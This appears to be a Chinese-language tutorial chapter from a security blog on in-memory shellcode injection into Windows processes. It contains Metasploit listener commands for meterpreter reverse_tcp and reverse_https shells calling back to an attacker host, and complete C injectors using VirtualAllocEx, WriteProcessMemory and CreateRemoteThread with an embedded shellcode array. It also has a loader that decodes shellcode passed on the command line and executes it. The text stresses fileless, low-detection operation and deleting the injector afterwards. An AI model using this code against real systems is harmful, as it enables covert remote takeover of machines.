1.10 內(nèi)存ShellCode注入與格式化
ShellCode 的格式化與注入功能在實戰(zhàn)應(yīng)用中也尤為重要,格式化Shellcode
是指將其轉(zhuǎn)換為可執(zhí)行的二進制格式,使其能夠在內(nèi)存中運行。注入Shellcode
是指將格式化的Shellcode
注入到另一個進程的內(nèi)存中,以便在該進程中執(zhí)行,此類功能也可算作ShellCode
技術(shù)的延申功能。
1.10.1 針對內(nèi)存的ShellCode注入
內(nèi)存注入ShellCode
是一種將Shell注入到進程內(nèi)存中的攻擊方式,該注入方式的優(yōu)勢在于被發(fā)現(xiàn)的概率極低,甚至可以被忽略,這是因為ShellCode
被注入到進程內(nèi)存中時,其并沒有與之對應(yīng)的硬盤文件,從而難以在磁盤中取證,但也存在一個弊端由于內(nèi)存是易失性存儲器,所以系統(tǒng)必須一直開機,不能關(guān)閉,該攻擊手法可以應(yīng)用于服務(wù)器上面,安全風(fēng)險最小,注入后即可將注入器刪除并以此保證無文件加載。
首先在實現(xiàn)功能之前讀者應(yīng)該自行生成自定義ShellCode
代碼,至于如何生成在本章第一節(jié)中就已經(jīng)介紹過了,此處只給出生成指令
生成非加密ShellCode攻擊載荷
#?--------------------------------------------------
#?生成ShellCode攻擊載荷
#?--------------------------------------------------
[lyshark@localhost?~]
[lyshark@localhost?~]
#?--------------------------------------------------
#?服務(wù)端建立偵聽器
#?--------------------------------------------------
[lyshark@localhost?~]
msf6?exploit(handler)?>?use?exploit/multi/handler
msf6?exploit(handler)?>?set?payload?windows/meterpreter/reverse_tcp
msf6?exploit(handler)?>?set?lhost?192.168.140.128
msf6?exploit(handler)?>?set?lport?9999
msf6?exploit(handler)?>?set?EXITFUNC?thread
msf6?exploit(handler)?>?exploit?-j?-z
生成SSL加密ShellCode攻擊載荷
#?--------------------------------------------------
#?生成ShellCode攻擊載荷
#?--------------------------------------------------
[lyshark@localhost?~]
[lyshark@localhost?~]
[lyshark@localhost?~]
#?--------------------------------------------------
#?服務(wù)端建立偵聽器
#?--------------------------------------------------
[lyshark@localhost?~]
msf6?exploit(handler)?>?use?exploit/multi/handler
msf6?exploit(handler)?>?set?payload?windows/meterpreter/reverse_https
msf6?exploit(handler)?>?set?LHOST?192.168.140.128
msf6?exploit(handler)?>?set?LPORT?8443
msf6?exploit(handler)?>?set?HandlerSSLCert?/root/www.baidu.com.pem
msf6?exploit(handler)?>?set?StagerVerifySSLCert?true
msf6?exploit(handler)?>?exploit?-j?-z
接著我們來實現(xiàn)注入功能,首先我們通過CreateToolhelp32Snapshot()
拍攝一個進程快照并通過比較找到所需注入進程,找到后通過OpenProcess()
打開進程,然后調(diào)用VirtualAllocEx()
函數(shù)在對端內(nèi)存中分配空間,并通過WriteProcessMemory()
將ShellCode
寫入到對端,最后通過CreateRemoteThread()
開啟遠程線程執(zhí)行ShellCode代碼。
其核心原理總結(jié)起來如下所示:
??1.獲取目標(biāo)進程的PID,這里使用了
ToolHelp32
獲取系統(tǒng)中正在運行的進程列表,并遍歷列表查找指定名稱的進程。??2.打開目標(biāo)進程。使用
OpenProcess
打開目標(biāo)進程,獲取進程的句柄。??3.在目標(biāo)進程中分配內(nèi)存。使用
VirtualAllocEx
在目標(biāo)進程中分配一段內(nèi)存,用于存儲ShellCode
的代碼。??4.將
ShellCode
的代碼寫入目標(biāo)進程的內(nèi)存中。使用WriteProcessMemory
將ShellCode
的代碼寫入目標(biāo)進程的內(nèi)存中。??5.在目標(biāo)進程中創(chuàng)建遠程線程并執(zhí)行
ShellCode
。使用CreateRemoteThread
在目標(biāo)進程中創(chuàng)建一個遠程線程,并將其起始地址指向ShellCode
在目標(biāo)進程中的內(nèi)存地址,從而執(zhí)行?ShellCode
的代碼。??6.等待遠程線程執(zhí)行完畢。使用
WaitForSingleObject
等待遠程線程執(zhí)行完畢。??7.清理資源。關(guān)閉句柄,釋放內(nèi)存等。
根據(jù)上述原理解析,讀者很容易就可以寫出如下所示的代碼片段,讀者只需要將自定義ShellCode
填充之變量內(nèi),并輸入進程PID即可實現(xiàn)對特定進程的注入功能;
//?定義ShellCode
unsigned?char?ShellCode[]?=
"\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x56\x14\x03\x56\x14\x83\xee\xfc\xf8\x82\x46"
"\xc3\x73\x6c\xb7\x14\xeb\xe4\x52\x25\x39\x92\x17\x14\x8d"
"\xd0\x7a\x95\x66\xb4\x6e\x94\x87\x36\x38\x9c\x51\xc2\x34"
"\x09\xac\x14\x14\x75\xaf\xe8\x67\xaa\x0f\xd0\xa7\xbf\x4e"
"\xdb\xac\xa6";
int?main(int?argc,?char?*argv[])
{
????HANDLE?Handle?=?NULL;
????HANDLE?remoteThread?=?NULL;
????PVOID?remoteBuffer?=?NULL;
????DWORD?Pid?=?0;
????printf("請輸入待注入進程PID號:");
????scanf("%d",?&Pid);
????//?打開目標(biāo)進程句柄
????Handle?=?OpenProcess(PROCESS_ALL_ACCESS,?FALSE,?Pid);
????if?(Handle?==?NULL)
????{
????????printf("打開進程失敗\n");
????????return?1;
????}
????//?在目標(biāo)進程中分配內(nèi)存
????remoteBuffer?=?VirtualAllocEx(Handle,?NULL,?sizeof(ShellCode),?MEM_RESERVE?|?MEM_COMMIT,?PAGE_EXECUTE_READWRITE);
????if?(remoteBuffer?==?NULL)
????{
????????printf("分配內(nèi)存失敗\n");
????????CloseHandle(Handle);
????????return?1;
????}
????//?在目標(biāo)進程中寫入ShellCode
????if?(!WriteProcessMemory(Handle,?remoteBuffer,?ShellCode,?sizeof(ShellCode),?NULL))
????{
????????printf("寫入內(nèi)存失敗\n");
????????VirtualFreeEx(Handle,?remoteBuffer,?0,?MEM_RELEASE);
????????CloseHandle(Handle);
????????return?1;
????}
????//?在目標(biāo)進程中創(chuàng)建遠程線程
????remoteThread?=?CreateRemoteThread(Handle,?NULL,?0,?(LPTHREAD_START_ROUTINE)remoteBuffer,?NULL,?0,?NULL);
????if?(remoteThread?==?NULL)
????{
????????printf("創(chuàng)建線程失敗\n");
????????VirtualFreeEx(Handle,?remoteBuffer,?0,?MEM_RELEASE);
????????CloseHandle(Handle);
????????return?1;
????}
????//?等待遠程線程執(zhí)行完畢
????WaitForSingleObject(remoteThread,?INFINITE);
????//?釋放內(nèi)存和關(guān)閉句柄
????VirtualFreeEx(Handle,?remoteBuffer,?0,?MEM_RELEASE);
????//?CloseHandle(remoteThread);
????CloseHandle(Handle);
????printf("注入成功\n");
????return?0;
}
1.10.2 實現(xiàn)格式化與代碼執(zhí)行盒
在某些時候我們需要在外部傳入特定的一段字符串以此實現(xiàn)反彈,而不是上述案例中提到的需要將ShellCode代碼寫死在程序中,這樣即可增加靈活性,我們以本地代碼執(zhí)行為案例講解一下代碼執(zhí)行盒是如何實現(xiàn)的。
代碼執(zhí)行盒的實現(xiàn)非常容易,如下代碼中程序接收argv[1]
傳遞變量,并將該變量通過sscanf
格式化為字節(jié)類型,如果不格式化那么在讀入內(nèi)存后默認會以WORD
模式存在,此時則會占用兩個字節(jié)而導(dǎo)致ShellCode
失效,為了能讓功能有效,則必須進行轉(zhuǎn)換,如下代碼則是執(zhí)行盒的完整實現(xiàn);
int?main(int?argc,?char?*argv[])
{
????unsigned?int?char_in_hex;
????char?*shellcode?=?argv[1];
????unsigned?int?iterations?=?strlen(shellcode);
????unsigned?int?memory_allocation?=?strlen(shellcode)?/?2;
????for?(unsigned?int?i?=?0;?i<?iterations?-?1;?i++)
????{
????????sscanf(shellcode?+?2?*?i,?"%2X",?&char_in_hex);
????????shellcode[i]?=?(char)char_in_hex;
????}
????void?*exec?=?VirtualAlloc(0,?memory_allocation,?MEM_COMMIT,?PAGE_READWRITE);
????memcpy(exec,?shellcode,?memory_allocation);
????DWORD?ignore;
????VirtualProtect(exec,?memory_allocation,?PAGE_EXECUTE,?&ignore);
????(*(void(*)())?exec)();
????return?0;
}
以下是核心代碼的簡單解釋;
unsigned?int?memory_allocation?=?strlen(shellcode)?/?2;
memory_allocation是一個無符號整數(shù)類型的變量,用于表示需要分配的內(nèi)存大小。因為shellcode
是16進制編碼的,每兩個字符表示一個字節(jié),所以內(nèi)存大小為shellcode
長度的一半。
for?(unsigned?int?i?=?0;?i<?iterations?-?1;?i++)
{
????sscanf(shellcode?+?2?*?i,?"%2X",?&char_in_hex);
????shellcode[i]?=?(char)char_in_hex;
}
for循環(huán),用于將16進制編碼的shellcode
轉(zhuǎn)換為可執(zhí)行的代碼。sscanf
函數(shù)將shellcode
中的16進制字符轉(zhuǎn)換為整數(shù),并存儲在char_in_hex
變量中。然后將char_in_hex
強制轉(zhuǎn)換為字符類型,并將其存儲在shellcode
中。
void?*exec?=?VirtualAlloc(0,?memory_allocation,?MEM_COMMIT,?PAGE_READWRITE);
這是一個void
類型的指針變量,用于指向分配的內(nèi)存空間。VirtualAlloc
函數(shù)分配一個指定大小的內(nèi)存塊,并返回一個指向該內(nèi)存塊的指針。參數(shù)MEM_COMMIT
表示分配的內(nèi)存將立即被提交,PAGE_READWRITE
表示內(nèi)存可讀可寫。
memcpy(exec,?shellcode,?memory_allocation);
將shellcode
復(fù)制到分配的內(nèi)存空間中。
DWORD?ignore;
VirtualProtect(exec,?memory_allocation,?PAGE_EXECUTE,?&ignore);
VirtualProtect函數(shù)修改內(nèi)存頁的保護屬性,將內(nèi)存頁的執(zhí)行屬性設(shè)置為可執(zhí)行。PAGE_EXECUTE
表示內(nèi)存可執(zhí)行。
(*(void(*)())?exec)();
執(zhí)行分配的內(nèi)存空間中的代碼。將exec指針強制轉(zhuǎn)換為指向無參數(shù)、無返回值的函數(shù)指針,然后調(diào)用該函數(shù)指針。這樣,shellcode中的代碼就會被執(zhí)行。
由于代碼執(zhí)行盒接收的是一個字符串,則我們還需要實現(xiàn)一個將ShellCode
轉(zhuǎn)換為字符串的功能,我們只需要將文本依次讀入到內(nèi)存,并以此過濾掉無用字節(jié)即可實現(xiàn)該功能;
void?Compressed(const?char*?FileName)
{
????FILE*?fp_read;
????char?write_ch;
????if?((fp_read?=?fopen(FileName,?"r"))?!=?NULL)
????{
????????while?((write_ch?=?fgetc(fp_read))?!=?EOF)
????????{
????????????if?(write_ch?!=?L'\n'?&&?write_ch?!=?L'\"'?&&?write_ch?!=?L'\\'?&&?write_ch?!=?L'x'?&&?write_ch?!=?L';')
????????????{
????????????????printf("%c",?write_ch);
????????????}
????????}
????}
????_fcloseall();
}
完整代碼已經(jīng)有了那么該如何使用呢,首先讀者需要將ShellCode
代碼保存為文本文檔,需要注意的是讀者在保存文件時應(yīng)保存為如下格式;

此時調(diào)用Compressed("d://shellcode.txt");
并傳入文本路徑,則讀者會看到如下輸出,此時的ShellCode
則被格式化為一行,如下圖所示;

保存這段ShellCode
代碼,并運行代碼執(zhí)行盒,通過傳入命令行傳入?yún)?shù),即可實現(xiàn)反彈,傳入?yún)?shù)如下圖所示;

本文作者: 王瑞 本文鏈接: https://www.lyshark.com/post/c20d3ce0.html 版權(quán)聲明: 本博客所有文章除特別聲明外,均采用 BY-NC-SA 許可協(xié)議。轉(zhuǎn)載請注明出處!